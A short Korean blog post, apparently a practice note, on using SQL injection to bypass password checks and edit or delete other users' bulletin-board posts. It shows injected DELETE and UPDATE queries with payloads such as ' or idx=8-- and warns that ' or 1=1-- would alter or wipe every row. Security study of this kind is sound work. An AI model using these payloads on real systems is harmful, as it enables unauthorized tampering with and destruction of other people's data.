웹 해킹/SQL Injection
인증 우회 공격을 통한 타 사용자 게시글 무단 수정, 삭제 실습
Kwon Oh! JUN
2022. 8. 10. 01:28

접근 권한이 없는 타 사용자의 글을 수정할때는 패스워드를 입력해서 할 수도 있는데 상황이 두가지가 있다.
1. UPDATE/DELETE 구문의 WHERE 절에 password 삽입되어 검증
- 수정/삭제 할때 패스워드를 같이 입력해서 수행할 수 있다.
2. UPDATE/DELETE 구문 실행 전 password 검증
- 수정/삭제 전 패스워드를 입력해서 접근 권한을 얻고 수행할 수 있다.

Delete 클릭하면 위와 같은 화면이 나오는데 패스워드를 입력하는 동시에 게시물이 삭제되는 이 경우는 1번에 해당하는 경우다.
| delete from board where idx=8 and password='' or idx=8-- ' |
| idx=8 and password='' | 참 and 거짓 = 거짓 |
| (idx=8 and password='') or idx=8 | 거짓 or 참 = 참 |

수정도 마찬가지이다.
| update board set title=..., content=..., date=..., where idx=8 and password='' or idx=8-- ' |
| idx=8 and password='' | 참 and 거짓 = 거짓 |
| (idx=8 and password='') or idx=8 | 거짓 or 참 = 참 |
※ 주의할 점
update, delete는 데이터에 직접적인 영향을 주는 구문이다.
그래서 특정 데이터를 지정해주지 않고 ' or 1=1-- 을 함부로 사용하면 쿼리를 참으로 만들어버려서 모든 데이터를 일괄수정/삭제를 할 수가 있다.
| update board set title=..., content=..., date=..., where idx=8 and password='' or 1=1 ' |